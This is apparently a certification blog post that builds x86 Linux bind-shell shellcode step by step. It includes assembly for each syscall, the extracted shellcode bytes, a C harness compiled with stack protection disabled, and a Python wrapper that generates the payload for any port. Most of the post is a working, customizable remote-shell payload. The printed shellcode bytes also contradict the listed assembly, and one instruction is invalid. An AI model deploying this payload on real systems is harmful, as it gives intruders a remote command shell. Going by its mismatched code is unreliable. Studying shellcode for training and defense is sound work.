x86 SLAE — Assignment 1: Bind Shell

Adam
6 min readNov 16, 2019

--

The first assignment for the x86 SLAE exam involves creating shellcode that will create a bind shell when executed. Bind shells listen on a designated port for incoming connections with commands to execute. Bind shells are an easy way to provide a remote attacker with command line access to a given host. The steps to create bind shell shellcode are as follows:

  1. Create socket
  2. Bind socket to a port
  3. Start listening for incoming connections
  4. Accept incoming connections
  5. Redirect STDIN, STDOUT, and STDERR
  6. Execute commands within the incoming connections

Create socket

Before anything else, a socket must be created. The underlying system call that creates a socket is socketcall (browse here for the complete documentation). To execute this system call we need to move the following arguments into their respective registers:

sys_socketcall    eax -> 0x66    ; the system call number    ebx -> 0x01    ; indicating this is a socket    ecx -> address ; address of arguments to socket()For more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Clearing registers
xor ebx, ebx ; zero out ebx
mul ebx ; zero out eax, and edx
; Setting up EAX and EBX
mov al, 0x66 ; setting eax to the system call number (0x66)
mov bl, 1 ; setting ebx to SYS_SOCKET (0x01)
; Setting up ECX
push 0x6 ; push IPPROTO_IP (0x06) to stack
push ebx ; push SOCK_STREAM (0x01) to stack
push 0x02 ; push AF_INET (0x02) to stack
mov ecx, esp ; move address of arguments to ecx
; Execute system call
int 0x80 ; trigger system call
mov edi, eax ; save socket file descriptor for later

Bind socket to a port

Next, the socket needs to be bound to a given port. To do this, the socketcall system call will be leveraged again but with different arguments. These arguments are as follows:

sys_bind    eax -> 0x66    ; the system call number    ebx -> 0x02    ; 0x02 represents binding a socket to a port    ecx -> address ; address of the arguments to bind()For more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Setting up EAX and EBX
xor eax, eax ; zero out eax
mov al, 0x66 ; setting eax to the system call number(0x66)
inc bl ; increase ebx to 0x02 (SYS_BIND)
; Setting up the SOCKADDR struct
push edx ; push SOCKADDR->INADDR_ANY (0x00) to the stack
push word 0x2597 ; push SOCKADDR->PORT (38693) to the stack
push word ebx ; push SOCKADDR->AF_INET (0x02) to the stack
mov ecx, esp ; move address of SOCKADDR arguments to ecx
; Setting up ECX
push 0x10 ; push length of SOCKADDR (0x10) to stack
push ecx ; push address of SOCKADDR to stack
push edi ; push address of file descriptor to stack
mov ecx, esp ; move the address to all arguments to ecx
; Execute system call
int 0x80

Start listening for incoming connections

Now that the socket has been bound to a port, a listener needs to be setup. socketcall will be leveraged again. To execute this system call the following arguments need to be moved into their respective registers:

sys_socketcall    eax -> 0x66    ; the system call number    ebx -> 0x04    ; 0x04 represents listening to the port    ecx -> address ; address of the arguments to listen()For more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Setting up EAX and EBX
xor eax, eax ; zero out eax
mov al, 0x66 ; setting eax to the system call number(0x66)
add bl, 0x02 ; increase ebx to 0x04 (SYS_LISTEN)
; Setting up ECX
push edx ; pushing 0x00 to the stack
push edi ; push address of file descriptor to stack
mov ecx, esp ; move address of arguments into ecx
; Execute system call
int 0x80

Accept incoming connections

With a socket listening for incoming connections the bind shell has to execute another function to accept them. socketcall will be leveraged again. To execute this system call we need to move the following arguments into their respective registers:

sys_socketcall    eax -> 0x66    ; the system call number    ebx -> 0x05    ; 0x05 represents accepting incoming connections    ecx -> address ; address of the arguments to ACCEPT()For more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Setting up EAX and EBX
xor eax, eax ; zero out eax
mov al, 0x66 ; setting eax to the system call number(0x66)
inc bl ; increase ebx to 0x05 (SYS_ACCEPT)
; Setting up ECX
push edx ; pushing 0x00 to stack
push edx ; pushing 0x00 to stack
push edi ; push address of file descriptor to stack
mov ecx, esp ; move address of arguments into ecx
; Execute system call
int 0x80

Redirect STDIN, STDOUT, and STDERR

Having successfully set the bind shell to accept incoming connections, STDIN/OUT/ERR need to be redirected to the bind shell so the receiver can interpret the results of their command. Instead of leveraging socketcall for this, the dup system call must be leveraged (browse here for the complete documentation). To execute this system call we need to move the following arguments into their respective registers:

sys_dup    eax -> 0x3f    ; the system call number    ebx -> address ; address of the old file descriptor    ecx -> address ; address of the new file descriptorFor more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Setting up EAX and EBX
mov ebx, eax ; Moving the output from ACCEPT() into ebx
xor eax, eax ; zeroing out eax
; Setting up ECX
xor ecx, ecx ; zeroing out ecx
mov cl, 0x02 ; moving the largest file descriptor into ecx
; Repeatedly duplicate the file discriptor into STDIN, OUT, and ERR
loop:
mov al, 0x3f ; setting eax to the system call number(0x3f)
int 0x80 ; execute system call
dec ecx ; decrease ecx to obtain each file descriptor
jns loop ; continue until a negative number is reached

Execute commands within the incoming connections

Last but not least, we need to take the incoming commands that we receive and execute them. This is performed with the execve system call (browse here for the complete documentation). To execute this system call we need to move the following arguments into their respective registers:

sys_execve    eax -> 0x0b    ; the system call number    ebx -> address ; address of the command to execute    ecx -> 0x00    ; null    edx -> 0x00    ; nullFor more information see the Linux Syscall Reference page

The assembly to setup and call this function is:

; Clearing registers
xor ebx, ebx ; zero out ebx
mul ebx ; zero out eax, and edx
; Setting up EAX
mov al, 0x0b ; setting eax to the system call number (0x0b)
; Setting up EBX
push edx ; pushing null byte to the stack
push 0x68732f2f ; pushing '//sh' to stack
push 0x6e69622f ; pushing '/bin' to stack
mov ebx, esp ; moving address of argument to ebx
; Setting up ECX and EDX
mov ecx, edx ; setting ecx to null byte (that's already in
; edx)
; Execute system call
int 0x80

Results

Compile the shellcode with the following commands:

nasm -f elf32 bind.nasmld -m elf_i386 bind.o -o bindobjdump -d ./bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And it will output the following shellcode:

"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xfe\xc3\x52\x68\x1f\x90\x00\x00\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x80\xc3\x02\x52\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\xfe\xc3\x52\x52\x57\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xdb\xf7\xe3\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80"

Place the above shellcode in a C harness like so:

#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xfe\xc3\x52\x68\x1f\x90\x00\x00\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x80\xc3\x02\x52\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\xfe\xc3\x52\x52\x57\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xdb\xf7\xe3\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80";
int main()
{
int (*ret)() = (int(*)()) code;
ret();
return 0;
}

Compile it:

gcc -m32 -fno-stack-protector -z execstack -o harness harness.c

And execute it:

Wrapper script

To allow the easy customization of the hand crafted shellcode above, the following python script can be leveraged. Simply pass it a number for the port and it will successfully parse it and prepare the shellcode with it:

import sysif len(sys.argv) != 2:
print "./bind_wrapper.py <PORT>"
sys.exit(1)
temp1 = '%0*x' % (4, int(sys.argv[1]))port = "\\x" + temp1[0:2] + "\\x" + temp1[2:4]shellcode = "\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x31\\xc0\\xb0\\x66\\xfe\\xc3\\x52\\x66\\x68" + port + "\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x80\\xc3\\x02\\x52\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\xfe\\xc3\\x52\\x52\\x57\\x89\\xe1\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xdb\\xf7\\xe3\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xcd\\x80"print shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security